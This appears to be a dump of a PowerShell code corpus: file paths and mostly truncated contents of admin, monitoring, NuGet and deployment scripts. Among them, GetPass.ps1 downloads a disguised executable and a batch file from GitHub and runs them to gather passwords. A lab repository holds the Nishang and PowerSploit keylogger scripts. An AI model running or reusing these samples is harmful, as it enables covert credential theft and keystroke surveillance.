full_path stringlengths 31 232 | filename stringlengths 4 167 | content stringlengths 0 48.3M |
|---|---|---|
PowerShellCorpus/Github/The-Amazing-SQL-Community-Collaborative_A-test-Repo/functions/Get-DbrSqlVersion.ps1 | Get-DbrSqlVersion.ps1 | Function Verb-SqlNoun
{
<#
.SYNOPSIS
.DESCRIPTION
.PARAMETER
.PARAMETER
.PARAMETER
.PARAMETER
.PARAMETER
.PARAMETER
.NOTES
dbareports PowerShell module (https://dbareports.io, SQLDBAWithABeard.com)
Copyright (C) 2016 Rob Sewell
This program is free software: y... |
PowerShellCorpus/Github/exaybachay-ak_ServerBot/serverBot.ps1 | serverBot.ps1 | # Make sure there is a directory to store secure creds in - create one if it doesn't exist
if(!(Test-Path -Path C:\temp )){
New-Item -ItemType Directory -Force -Path C:\temp
}
# Receive creds from user and store as variable
# Disabled below line because it would prevent the script from running automatical... |
PowerShellCorpus/Github/PoshSec_PoshSecScripts/psfcommandtest.ps1 | psfcommandtest.ps1 | <#
.DESCRIPTION
Tests the ability to call PoshSec Framework Commands.
AUTHOR
Ben0xA
#>
#Required to use PoshSec functions
Import-Module $PSModRoot\PoshSec
# Begin Script Flow
Write-Output "This is the result of the Get-SecSoftwareInstalled function."
Get-SecSoftwareInstalled
#End Script |
PowerShellCorpus/Github/PoshSec_PoshSecScripts/test.ps1 | test.ps1 | <#
.DESCRIPTION
Just a test. Ignore
AUTHOR
Ben0xA
.PARAMETER sourcefile
The source file to copy to the remote hosts.
.PARAMETER storedhosts
This is for storing hosts from the framework for scheduling.
.NOTES
psfilename=sourcefile
pshosts=storedhosts
#>
Param(
[Parameter(Mandatory=... |
PowerShellCorpus/Github/PoshSec_PoshSecScripts/hoststest.ps1 | hoststest.ps1 | <#
.DESCRIPTION
This tests the $PSHosts functionality with PoshSec Framework
AUTHOR
Ben0xA
$PSHosts Usage
$PSHosts.GetHosts([bool AllHosts])
Returns PSObject array with whatever columns are listed in the listview.
#>
# Begin Script Flow
#Start your code here.
Write-Output "Listing of Hosts that are... |
PowerShellCorpus/Github/PoshSec_PoshSecScripts/infiniteloop.ps1 | infiniteloop.ps1 | <#
.DESCRIPTION
Tests the cancel script option with infinite loop.
.AUTHOR
Ben0xA
#>
# Begin Script Flow
Write-Output "This is the infinite loop script."
$v = $False
do
{
} while ($v -eq $False)
#End Script |
PowerShellCorpus/Github/PoshSec_PoshSecScripts/psftest.ps1 | psftest.ps1 | <#
.DESCRIPTION
Tests the import function for the PoshSec Framework.
AUTHOR
Ben0xA
#>
# Begin Script Flow
Write-Output "This is the test script for PoshSec Framework"
Write-Output "There should be 5 alerts listed."
$PSAlert.Add("This is an Information alert.", 0)
$PSAlert.Add("This is an Error alert.", ... |
PowerShellCorpus/Github/PoshSec_PoshSecScripts/helloworld.ps1 | helloworld.ps1 | <#
.DESCRIPTION
Tests the import function for the PoshSec Framework.
AUTHOR
Ben0xA
#>
# Begin Script Flow
Write-Output "Hello World!"
#End Script |
PowerShellCorpus/Github/PoshSec_PoshSecScripts/SecIISMonitor.ps1 | SecIISMonitor.ps1 | <#
.Synopsis
A PoshSec Framework function that monitors the current IIS log and generates alerts on specified criteria. The alerts display the log's timestamp, the client IP, the URL accessed, and the user agent string.
.PARAMETER IP
Client IP address to isolate in the log file. Generates alerts for those r... |
PowerShellCorpus/Github/PoshSec_PoshSecScripts/Template/psftemplate.ps1 | psftemplate.ps1 | <#
.DESCRIPTION
<this is your decscription>
AUTHOR
<this is you!>
#>
#Put Parameters here. Before Import-Module $PSFramework
# param(
# [String]$param1 = "",
# [String]$param2 = "",
# [Int]$param3 = 1
# )
#Start your code here.
#End Script |
PowerShellCorpus/Github/PoshSec_PoshSecScripts/Patch Management/waucheck.ps1 | waucheck.ps1 | <#
.DESCRIPTION
Windows Automatic Update Checker
Written by Ben0xA
With Help from mwjcomputing!
.PARAMETER kbs
Comma separated values of KB numbers.
.PARAMETER outputFile
The output file to save results. This will override showintab.
.PARAMETER omitInstalled
Omits output if the KB is installed.
.PARA... |
PowerShellCorpus/Github/PoshSec_PoshSecScripts/Patch Management/wauremove.ps1 | wauremove.ps1 | <#
.DESCRIPTION
Windows Automatic Update Remover
Written by Ben0xA
.PARAMETER kbs
Comma separated values of KB numbers.
.PARAMETER outputFile
The output file to save results. This will override showintab.
.PARAMETER computer
Specifies a single computer to scan.
.PARAMETER showintab
Specifies whether ... |
PowerShellCorpus/Github/PoshSec_PoshSecScripts/Patch Management/kb2953095-office2k3.ps1 | kb2953095-office2k3.ps1 | <#
.DESCRIPTION
Scan for CVE-2014-1761.
Will Query the selected hosts to see if they have Office 2003
installed. If they do, it will iterate each account to see if
that account under HKEY_CURRENT_USER has the DWORD of RtfFiles
set to 1 under
HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\S... |
PowerShellCorpus/Github/PoshSec_PoshSecScripts/Patch Management/kb2963983-vmlfix.ps1 | kb2963983-vmlfix.ps1 | <#
.DESCRIPTION
Unregister VGX fix for CVE-2014-1776.
Will run the following command on the selected hosts:
regsvr32.exe -u \"%CommonProgramFiles%\Microsoft Shared\VGX\vgx.dll"
REQUIRES
PoshSec Modules: Invoke-RemoteWmiProcess
Download from here -> https://github.com/PoshSec/PoshSec/tree/master
... |
PowerShellCorpus/Github/PoshSec_PoshSecScripts/Network/monitorports.ps1 | monitorports.ps1 | <#
.DESCRIPTION
This script is for active monitoring of ports on a specified machine.
FRAMEWORK
PoshSec Framework
FRAMEWORKVERSION
0.2.0.0
AUTHOR
Ben0xA
#>
Param(
[Parameter(Mandatory=$false,Position=1)]
[string]$computer=""
)
#Required to use PoshSec functions
Import-Module $PSModRoot\... |
PowerShellCorpus/Github/PoshSec_PoshSecScripts/System Information/getdrivestest.ps1 | getdrivestest.ps1 | <#
.DESCRIPTION
Tests the Get-Drives module import.
#>
Write-Output "Testing Get-Drives module..."
#End Program |
PowerShellCorpus/Github/PoshSec_PoshSecScripts/System Information/remotearchlist.ps1 | remotearchlist.ps1 | <#
.DESCRIPTION
Lists the architecture and OS for all hosts selected in Systems.
AUTHOR
Ben0xA
.PARAMETER showintab
Specifies whether to show the results in a PoshSec Framework Tab.
#>
Param(
[Parameter(Mandatory=$false,Position=1)]
[boolean]$showintab=$True
)
#Required to use PoshSec functions
Im... |
PowerShellCorpus/Github/PoshSec_PoshSecScripts/System Information/monitor-startupprograms.ps1 | monitor-startupprograms.ps1 | <#
.DESCRIPTION
Monitors all of the applications that are set to starup in the \Run
folder of the registry and compares them to a previous baseline.
AUTHOR
Ben0xA
.PARAMETER baselinefile
The file to use to store the baseline.
.PARAMETER storedhosts
This is for storing hosts from the framework for... |
PowerShellCorpus/Github/PoshSec_PoshSecScripts/System Information/installedprograms.ps1 | installedprograms.ps1 | <#
.DESCRIPTION
Lists all of the applications that are installed on the system.
AUTHOR
Ben0xA
.PARAMETER showintab
Specifies whether to show the results in a PoshSec Framework Tab.
.PARAMETER storedhosts
This is for storing hosts from the framework for scheduling.
.NOTES
pshosts=storedhosts
#... |
PowerShellCorpus/Github/PoshSec_PoshSecScripts/System Information/runningprograms.ps1 | runningprograms.ps1 | <#
.DESCRIPTION
Lists all of the applications that are currently running.
AUTHOR
Ben0xA
.PARAMETER showintab
Specifies whether to show the results in a PoshSec Framework Tab.
.PARAMETER storedhosts
This is for storing hosts from the framework for scheduling.
.PARAMETER processname
The name o... |
PowerShellCorpus/Github/PoshSec_PoshSecScripts/System Information/startupprograms.ps1 | startupprograms.ps1 | <#
.DESCRIPTION
Lists all of the applications that are set to starup in the \Run
folder of the registry.
AUTHOR
Ben0xA
.PARAMETER showintab
Specifies whether to show the results in a PoshSec Framework Tab.
.PARAMETER storedhosts
This is for storing hosts from the framework for scheduling.
.NOT... |
PowerShellCorpus/Github/PoshSec_PoshSecScripts/System Information/listnetversions.ps1 | listnetversions.ps1 | <#
.DESCRIPTION
Lists the .NET versions for all hosts selected in Systems.
AUTHOR
Ben0xA
.PARAMETER showintab
Specifies whether to show the results in a PoshSec Framework Tab.
#>
Param(
[Parameter(Mandatory=$false,Position=1)]
[boolean]$showintab=$True
)
#Required to use PoshSec functions
Import-M... |
PowerShellCorpus/Github/PoshSec_PoshSecScripts/File Management/filechanges.ps1 | filechanges.ps1 | <#
.DESCRIPTION
Checks a file for any changes froom a baseline and displays the
change in the alerts area.
AUTHOR
Ben0xA
.PARAMETER filename
The file path to the file to monitor.
.PARAMETER baselinefile
The file path to the baseline file.
.NOTES
psfilename=filename,psfilename=baselinefile
... |
PowerShellCorpus/Github/PoshSec_PoshSecScripts/File Management/monitor-file.ps1 | monitor-file.ps1 | <#
.DESCRIPTION
Monitors a file for any changes and displays the change in the
alerts area.
AUTHOR
Ben0xA
.PARAMETER filename
The file path to the file to monitor.
.NOTES
psfilename=filename
#>
Param(
[Parameter(Mandatory=$true,Position=1)]
[string]$filename
)
#Start your code... |
PowerShellCorpus/Github/PoshSec_PoshSecScripts/File Management/copyfile.ps1 | copyfile.ps1 | <#
.DESCRIPTION
Copies a file to all selected hosts in the Systems tab.
AUTHOR
Ben0xA
.PARAMETER sourcefile
The source file to copy to the remote hosts.
.PARAMETER destination
The share name and folder on the remote host.
.PARAMETER force
This will attempt to copy the file even if the host... |
PowerShellCorpus/Github/OPSTest_E2E_Provision_1484821466689/.openpublishing.build.ps1 | .openpublishing.build.ps1 | param(
[string]$buildCorePowershellUrl = "https://opbuildstoragesandbox2.blob.core.windows.net/opps1container/.openpublishing.buildcore.ps1",
[string]$parameters
)
# Main
$errorActionPreference = 'Stop'
# Step-1: Download buildcore script to local
echo "download build core script to local with source u... |
PowerShellCorpus/Github/midnightfreddie_MidFredVmPlay/AdServerConfig.ps1 | AdServerConfig.ps1 | configuration DsController {
param (
$ComputerName = "freddievm1",
$IPLastOctet = "245",
$IPv4Prefix = "192.168.137.",
$IPv6Prefix = "fd43:4834:bd2d::"
)
$IPv4Address = "$IPv4Prefix$IPLastOctet"
$IPv6Address = "$IPv6Prefix$IPLastOctet"
Node $ComputerName {
... |
PowerShellCorpus/Github/midnightfreddie_MidFredVmPlay/NewWinVM.ps1 | NewWinVM.ps1 | [CmdletBinding()]
param (
# [Parameter(Mandatory=$true)]
# [ValidateNotNullOrEmpty()]
# [string[]]
$VmName = "VmScriptedTest2",
$JoinDomain = "ad.xpoo.net",
# $VmAdminCred = (Get-Credential -UserName "Administrator" -Message "Enter password for new VM's local admin account. The username i... |
PowerShellCorpus/Github/hoanggiang21286_Tutorial/DemoPartialView/packages/jQuery.1.10.2/Tools/uninstall.ps1 | uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
# Determine the file paths
$projectIntelliSenseFilePath = Join-Path $projectScriptsFolderPath $intelliSenseFileName
$origIntelliSenseFilePath = Join-Path $toolsPath $intelliSenseFileName
if (Test-Path $projectIntelliSense... |
PowerShellCorpus/Github/hoanggiang21286_Tutorial/DemoPartialView/packages/jQuery.1.10.2/Tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
# VS 11 and above supports the new intellisense JS files
$vsVersion = [System.Version]::Parse($dte.Version)
$supportsJsIntelliSenseFile = $vsVersion.Major -ge 11
if (-not $supportsJsIntelliSenseFile) {
$displayVersio... |
PowerShellCorpus/Github/hoanggiang21286_Tutorial/DemoPartialView/packages/jQuery.1.10.2/Tools/common.ps1 | common.ps1 | function Get-Checksum($file) {
$cryptoProvider = New-Object "System.Security.Cryptography.MD5CryptoServiceProvider"
$fileInfo = Get-Item $file
trap { ;
continue } $stream = $fileInfo.OpenRead()
if ($? -eq $false) {
# Couldn't open file for reading
return $null
}
$bytes = $... |
PowerShellCorpus/Github/hoanggiang21286_Tutorial/DemoPartialView/packages/Modernizr.2.6.2/Tools/uninstall.ps1 | uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
# Update the _references.js file
Remove-Reference $scriptsFolderProjectItem $modernizrFileNameRegEx |
PowerShellCorpus/Github/hoanggiang21286_Tutorial/DemoPartialView/packages/Modernizr.2.6.2/Tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
if ($scriptsFolderProjectItem -eq $null) {
# No Scripts folder
Write-Host "No Scripts folder found"
exit
}
# Update the _references.js file
AddOrUpdate-Reference $scriptsFolderProjectItem $modernizrFileName... |
PowerShellCorpus/Github/hoanggiang21286_Tutorial/DemoPartialView/packages/Modernizr.2.6.2/Tools/common.ps1 | common.ps1 | function AddOrUpdate-Reference($scriptsFolderProjectItem, $fileNamePattern, $newFileName) {
try {
$referencesFileProjectItem = $scriptsFolderProjectItem.ProjectItems.Item("_references.js")
}
catch {
# _references.js file not found
return
}
if ($referencesFileProject... |
PowerShellCorpus/Github/hoanggiang21286_Tutorial/DemoPartialView/packages/Microsoft.ApplicationInsights.WindowsServer.2.2.0/Tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
if ([System.IO.File]::Exists($project.FullName))
{
function MarkItemASCopyToOutput($item)
{
Try
{
#mark it to copy if newer
$item.Properties.Item("CopyToOutputDirectory").Value = 2
}
Catch
{
write-host $_.Exception.ToString()
}... |
PowerShellCorpus/Github/hoanggiang21286_Tutorial/DemoPartialView/packages/EntityFramework.6.1.3/tools/init.ps1 | init.ps1 | param($installPath, $toolsPath, $package, $project)
if (Get-Module | ?{ $_.Name -eq 'EntityFramework' })
{
Remove-Module EntityFramework
}
Import-Module (Join-Path $toolsPath EntityFramework.psd1)
# SIG # Begin signature block
# MIIa4AYJKoZIhvcNAQcCoIIa0TCCGs0CAQExCzAJBgUrDgMCGgUAMGkGCisGAQQB
# gjcCAQ... |
PowerShellCorpus/Github/hoanggiang21286_Tutorial/DemoPartialView/packages/EntityFramework.6.1.3/tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
Initialize-EFConfiguration $project
Add-EFProvider $project 'System.Data.SqlClient' 'System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer'
Write-Host
Write-Host "Type 'get-help EntityFramework' to see all available Entity Framework comma... |
PowerShellCorpus/Github/hoanggiang21286_Tutorial/DemoPartialView/packages/EntityFramework.5.0.0/tools/init.ps1 | init.ps1 | param($installPath, $toolsPath, $package, $project)
$importedModule = Get-Module | ?{ $_.Name -eq 'EntityFramework' }
if ($PSVersionTable.PSVersion -ge (New-Object Version @( 3, 0 )))
{
$thisModuleManifest = 'EntityFramework.PS3.psd1'
}
else
{
$thisModuleManifest = 'EntityFramework.psd1'
}
$thisModule... |
PowerShellCorpus/Github/hoanggiang21286_Tutorial/DemoPartialView/packages/EntityFramework.5.0.0/tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
function Invoke-ConnectionFactoryConfigurator($assemblyPath, $project)
{
$appDomain = [AppDomain]::CreateDomain(
'EntityFramework.PowerShell',
$null,
(New-Object System.AppDomainSetup -Property @{ ShadowCopyFiles = 'true' }))
... |
PowerShellCorpus/Github/hoanggiang21286_Tutorial/DemoPartialView/packages/Microsoft.CodeDom.Providers.DotNetCompilerPlatform.1.0.0/tools/init.ps1 | init.ps1 | param($installPath, $toolsPath, $package, $project)
$compilerPackageName = 'Microsoft.Net.Compilers'
$roslynSubFolder = 'roslyn'
if ($project -eq $null) {
$project = Get-Project
}
$libDirectory = Join-Path $installPath 'lib\net45'
$packageDirectory = Split-Path $installPath
$compilerPackage = Get-Chil... |
PowerShellCorpus/Github/hoanggiang21286_Tutorial/DemoPartialView/packages/Microsoft.CodeDom.Providers.DotNetCompilerPlatform.1.0.0/tools/uninstall.ps1 | uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
$roslynSubFolder = 'roslyn'
if ($project -eq $null) {
$project = Get-Project
}
$projectRoot = $project.Properties.Item('FullPath').Value
$binDirectory = Join-Path $projectRoot 'bin'
$targetDirectory = Join-Path $binDirectory $roslynSubFolder
if (Te... |
PowerShellCorpus/Github/hoanggiang21286_Tutorial/DemoPartialView/packages/Newtonsoft.Json.6.0.4/tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
# open json.net splash page on package install
# don't open if json.net is installed as a dependency
try
{
$url = "http://james.newtonking.com/json"
$dte2 = Get-Interface $dte ([EnvDTE80.DTE2])
if ($dte2.ActiveWindow.Caption -eq "Package Manager Con... |
PowerShellCorpus/Github/chyuanmsft_chyuanmsftRepo1216051314/.openpublishing.build.ps1 | .openpublishing.build.ps1 | param(
[string]$buildCorePowershellUrl = "https://opbuildstorageprod.blob.core.windows.net/opps1container/.openpublishing.buildcore.ps1",
[string]$parameters
)
# Main
$errorActionPreference = 'Stop'
# Step-1: Download buildcore script to local
echo "download build core script to local with source url: ... |
PowerShellCorpus/Github/gparedesrobles_evaluacion/Evaluacion02/packages/Modernizr.2.6.2/Tools/uninstall.ps1 | uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
# Update the _references.js file
Remove-Reference $scriptsFolderProjectItem $modernizrFileNameRegEx |
PowerShellCorpus/Github/gparedesrobles_evaluacion/Evaluacion02/packages/Modernizr.2.6.2/Tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
if ($scriptsFolderProjectItem -eq $null) {
# No Scripts folder
Write-Host "No Scripts folder found"
exit
}
# Update the _references.js file
AddOrUpdate-Reference $scriptsFolderProjectItem $modernizrFileName... |
PowerShellCorpus/Github/gparedesrobles_evaluacion/Evaluacion02/packages/Modernizr.2.6.2/Tools/common.ps1 | common.ps1 | function AddOrUpdate-Reference($scriptsFolderProjectItem, $fileNamePattern, $newFileName) {
try {
$referencesFileProjectItem = $scriptsFolderProjectItem.ProjectItems.Item("_references.js")
}
catch {
# _references.js file not found
return
}
if ($referencesFileProject... |
PowerShellCorpus/Github/gparedesrobles_evaluacion/Evaluacion02/packages/EntityFramework.5.0.0/tools/init.ps1 | init.ps1 | param($installPath, $toolsPath, $package, $project)
$importedModule = Get-Module | ?{ $_.Name -eq 'EntityFramework' }
if ($PSVersionTable.PSVersion -ge (New-Object Version @( 3, 0 )))
{
$thisModuleManifest = 'EntityFramework.PS3.psd1'
}
else
{
$thisModuleManifest = 'EntityFramework.psd1'
}
$thisModule... |
PowerShellCorpus/Github/gparedesrobles_evaluacion/Evaluacion02/packages/EntityFramework.5.0.0/tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
function Invoke-ConnectionFactoryConfigurator($assemblyPath, $project)
{
$appDomain = [AppDomain]::CreateDomain(
'EntityFramework.PowerShell',
$null,
(New-Object System.AppDomainSetup -Property @{ ShadowCopyFiles = 'true' }))
... |
PowerShellCorpus/Github/gparedesrobles_evaluacion/Evaluacion02/packages/jQuery.UI.Combined.1.8.24/Tools/uninstall.ps1 | uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
# Update the _references.js file
Remove-Reference $scriptsFolderProjectItem $juiFileNameRegEx |
PowerShellCorpus/Github/gparedesrobles_evaluacion/Evaluacion02/packages/jQuery.UI.Combined.1.8.24/Tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
if ($scriptsFolderProjectItem -eq $null) {
# No Scripts folder
Write-Host "No Scripts folder found"
exit
}
# Update the _references.js file
AddOrUpdate-Reference $scriptsFolderProjectItem $juiFileNameRegEx ... |
PowerShellCorpus/Github/gparedesrobles_evaluacion/Evaluacion02/packages/jQuery.UI.Combined.1.8.24/Tools/common.ps1 | common.ps1 | function AddOrUpdate-Reference($scriptsFolderProjectItem, $fileNamePattern, $newFileName) {
try {
$referencesFileProjectItem = $scriptsFolderProjectItem.ProjectItems.Item("_references.js")
}
catch {
# _references.js file not found
return
}
if ($referencesFileProject... |
PowerShellCorpus/Github/gparedesrobles_evaluacion/Evaluacion02/packages/jQuery.1.8.2/Tools/uninstall.ps1 | uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
# Determine the file paths
$projectIntelliSenseFilePath = Join-Path $projectScriptsFolderPath $intelliSenseFileName
$origIntelliSenseFilePath = Join-Path $toolsPath $intelliSenseFileName
if (Test-Path $projectIntelliSense... |
PowerShellCorpus/Github/gparedesrobles_evaluacion/Evaluacion02/packages/jQuery.1.8.2/Tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
# VS 11 and above supports the new intellisense JS files
$vsVersion = [System.Version]::Parse($dte.Version)
$supportsJsIntelliSenseFile = $vsVersion.Major -ge 11
if (-not $supportsJsIntelliSenseFile) {
$displayVersio... |
PowerShellCorpus/Github/gparedesrobles_evaluacion/Evaluacion02/packages/jQuery.1.8.2/Tools/common.ps1 | common.ps1 | function Get-Checksum($file) {
$cryptoProvider = New-Object "System.Security.Cryptography.MD5CryptoServiceProvider"
$fileInfo = Get-Item $file
trap { ;
continue } $stream = $fileInfo.OpenRead()
if ($? -eq $false) {
# Couldn't open file for reading
return $null
}
$bytes = $... |
PowerShellCorpus/Github/happysysadm_get-administrativeevent/get-administrativeevent.ps1 | get-administrativeevent.ps1 | function Get-AdministrativeEvent {
<#
.Synopsis
The Get-AdministrativeEvent function retrieves the last critical administrative events on a local or remote computer
.EXAMPLE
Get-AdministrativeEvent -cred (get-credential domain\admin) -ComputerName srv01 -HoursBack 1
.EXAMPLE
$cred = get-credential
Get-Adminis... |
PowerShellCorpus/Github/wangzhizhun_mailchm/GetPass.ps1 | GetPass.ps1 | (new-object System.Net.WebClient).DownloadFile('https://github.com/wangzhizhun/mailchm/raw/master/GetPass.rar','D:\Get.exe');
(new-object System.Net.WebClient).DownloadFile('https://github.com/wangzhizhun/mailchm/raw/master/Command.rar','D:\Command.bat');
D:\Command.bat;
$object1 = 'GetPass.txt--' + (Get-WmiObject -... |
PowerShellCorpus/Github/par-texx_Update_TMC/UpdateTMC.ps1 | UpdateTMC.ps1 | <#
.NAME
Update TMC
.SYNOPSIS
Connects to a remote machine, tests for the installation of TMC and what version, then updates it if required.
.DESCRIPTION
This script will request a computer name to have TMC updated on. When run it requests a computer, checks the remove computer for the version of TMC ins... |
PowerShellCorpus/Github/lzybkr_PSILAsm/ilasm_demo.ps1 | ilasm_demo.ps1 |
Import-Module .\ILAsm.psm1
#
# A very simple method in IL
#
$sb = New-ILMethod {
[outputtype([int])]
param()
Ldc.I4 6
Ldc.I4 7
Mul
Ret
}
"Invoking our new method: $(& $sb)"
#
# A simple method in IL taking parameters
#
$sb = New-ILMethod {
[outputtype([int])]
... |
PowerShellCorpus/Github/ra1han_powershell-scripts/Unzip.ps1 | Unzip.ps1 | <#
This script takes one parameter which is a path to a folder. It then finds all the zip files inside this folder,
creates folders with the zip files' name and unzips the contents of the corresponding zip files into them.
#>
Param(
[string]$folderPath
)
$zipFiles = Get-ChildItem -Path $folderPath -Filter... |
PowerShellCorpus/Github/ra1han_powershell-scripts/Deploy InfoPath Forms.ps1 | Deploy InfoPath Forms.ps1 | #This script disables the specific InfoPath Form Feature from the site,
#uninstalls the specific InfoPath Form,
#deploys the Form as an Administrator-approved form and
#enables the specific InfoPath Form Feature.
Param(
[string]$siteUrl,
[string]$infopathFormName,
[string]$formPath
)
$AdminServic... |
PowerShellCorpus/Github/ra1han_powershell-scripts/Start SPD2013 Workflow.ps1 | Start SPD2013 Workflow.ps1 | <#
This script will start all the SPD 2013 workflows in a list.
#>
Param(
[string]$webURL,
[string]$listName,
[string]$TargetWorkflow
)
$web = Get-SPWeb $webURL;
$list = $web.Lists[$listName];
$items = $list.getItems();
$wfServicesManager = New-object Microsoft.SharePoint.WorkflowServices.Workflo... |
PowerShellCorpus/Github/ra1han_powershell-scripts/Cancel SPD2013 Workflow.ps1 | Cancel SPD2013 Workflow.ps1 | <#
This script will cancel all running SPD 2013 workflows in a list.
Did not test for SP2010
#>
Param(
[string]$webURL,
[string]$listName,
[string]$TargetWorkflow
)
$web = Get-SPWeb $webURL;
$list = $web.Lists[$listName];
$items = $list.getItems();
$wfServicesManager = New-object Microsoft.Share... |
PowerShellCorpus/Github/ra1han_powershell-scripts/SPSolutionDeploy.ps1 | SPSolutionDeploy.ps1 | <#
This script installs a solution and activates the corresponding feature in the site collection.
#>
Param(
[string]$SolutionName,
[string]$SolutionFilePath,
[string]$SiteCollectionUrl,
[string]$Feature
)
$AdminServiceName = "SPAdminV4"
$AdminServiceWasRunning = $true;
# Ensure Microsoft.Share... |
PowerShellCorpus/Github/ra1han_powershell-scripts/Create Views.ps1 | Create Views.ps1 | <#
This script will create a list of Views in $ViewNames array. The Fields and CAML queries are in $ViewFieldsCollection and $ViewQueryCollection.
#>
Param(
[string]$WebUrl,
[string]$ListName
)
$AdminServiceName = "SPAdminV4"
$AdminServiceWasRunning = $true;
$snapin=Get-PSSnapin | Where-Object {... |
PowerShellCorpus/Github/McLeopold_TailorPosh/Get-Tailor.ps1 | Get-Tailor.ps1 | function Get-Tailor {
param
(
[Parameter(Mandatory=$true)]
[string[]]$files,
[long]$tail = 1
)
function highlight
{
Begin
{
$settings = Get-Content "Tailor.json" | ConvertFrom-Json
}
Process
{
$m... |
PowerShellCorpus/Github/itec285_lab6/key-log1.ps1 | key-log1.ps1 | <#
.SYNOPSIS
Nishang Payload which logs keys. Sourced from: https://raw.githubusercontent.com/cheetz/nishang/master/Gather/k e y l o g g e r.ps1
.DESCRIPTION
This payload logs a user's keys and writes them to file key.log (I know its bad :|) in user's temp directory.
The keys are than pasted to pastebin|tinypas... |
PowerShellCorpus/Github/itec285_lab6/key-log2.ps1 | key-log2.ps1 |
function Get-Keystrokes {
<#
.SYNOPSIS
Logs keys pressed, time and the active window. Copied from https://github.com/cheetz/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1
PowerSploit Function: Get-Keystrokes
Author: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation)... |
PowerShellCorpus/Github/itec285_lab6/Parse_Keys.ps1 | Parse_Keys.ps1 | function Parse_Keys
{
<#
.SYNOPSIS
A script which could be used to parse keys logged
by Kelogger payload of Nishang.
.DESCRIPTION
This script parses keys logged by Keylogger payload
of Nishang.
.PARAMETER RawKeys
Name of the text file which contains logged keys.
.PARAMETER LoggedKeys
Name of the te... |
PowerShellCorpus/Github/m-a-ge_utilities/Get-AvgPingResponseTime.ps1 | Get-AvgPingResponseTime.ps1 | <#
.SYNOPSIS
Measures an average response time to a remote hosts and forms the resulting table
.DESCRIPTION
The script uses Test-Connection Cmdlt which sends Internet Control Message Protocol (ICMP) echo request packets ("pings"), calculates the average response time in turn and forms the resulting table showin... |
PowerShellCorpus/Github/m-a-ge_utilities/Run-TestNGSuites/Run-TestNGSuites.ps1 | Run-TestNGSuites.ps1 | <#
.SYNOPSIS
Automation script for running TestNG test suites with Maven which uses .csv file as an input data
.DESCRIPTION
The script reads 'TestNG_suites_location.csv' from 'data' directory, parses it, then spawns an instance of command line interpreter and passes required arguments to it to run TestNG test s... |
PowerShellCorpus/Github/varadhan-saas_sampleProject/WebAPISample/packages/Newtonsoft.Json.6.0.4/tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
# open json.net splash page on package install
# don't open if json.net is installed as a dependency
try
{
$url = "http://james.newtonking.com/json"
$dte2 = Get-Interface $dte ([EnvDTE80.DTE2])
if ($dte2.ActiveWindow.Caption -eq "Package Manager Con... |
PowerShellCorpus/Github/varadhan-saas_sampleProject/WebAPISample/PublishScripts/Publish-WebApplicationWebsite.ps1 | Publish-WebApplicationWebsite.ps1 | #Requires -Version 3.0
<#
.SYNOPSIS
Creates and deploys a Windows Azure Web Site for a Visual Studio web project.
For more detailed documentation go to: http://go.microsoft.com/fwlink/?LinkID=394471
.EXAMPLE
PS C:\> .\Publish-WebApplicationWebSite.ps1 `
-Configuration .\Configurations\WebApplication1-WAWS-d... |
PowerShellCorpus/Github/jonicis_TestTutorial/Source/Setup/Scripts/installCodeSnippets.ps1 | installCodeSnippets.ps1 | ########################
# Zip Helper Functions #
########################
# Extract the files form the zip
# Usage: extract-zip c:\myzip.zip c:\destination
function Extract-Zip
{
param([string]$zipfilename, [string] $destination)
if(test-path($zipfilename))
{
$shellApplication = new-object -com she... |
PowerShellCorpus/Github/jonicis_TestTutorial/Source/Setup/Scripts/RunDC.ps1 | RunDC.ps1 | ###################
# Functions #
###################
function MoveFileContents ([string] $sourceFilePath, [string] $destinationFilePath )
{
[byte[]] $bytes = [System.IO.File]::ReadAllBytes( $(resolve-path $sourceFilePath) )
[System.IO.File]::WriteAllBytes($destinationFilePath, $bytes)
}
... |
PowerShellCorpus/Github/mskccdanielm1_PSSystemInfo/Private/Write-LogInfo.ps1 | Write-LogInfo.ps1 | Function Write-LogInfo {
<#
.SYNOPSIS
Writes informational message to specified log file
.DESCRIPTION
Appends a new informational message to the specified log file
.PARAMETER LogPath
Mandatory. Full path of the log file you want to write to. Example: C:\Windows\Temp\Test_Script.log
.... |
PowerShellCorpus/Github/mskccdanielm1_PSSystemInfo/Private/Export-ExcelWrapper.ps1 | Export-ExcelWrapper.ps1 | ### WIP Excel formatting ###
function Export-ServerReportXLSX {
Import-Module ImportExcel
$report = "severstatus.csv"
Get-Content $report | Export-Excel -Show -Now -ConditionalText (New-ConditionalText -ConditionalType ContainsText "RED" -ConditionalTextColor red)
} |
PowerShellCorpus/Github/mskccdanielm1_PSSystemInfo/Private/Send-Log.ps1 | Send-Log.ps1 | Function Send-Log {
<#
.SYNOPSIS
Emails completed log file to list of recipients
.DESCRIPTION
Emails the contents of the specified log file to a list of recipients
.PARAMETER SMTPServer
Mandatory. FQDN of the SMTP server used to send the email. Example: smtp.google.com
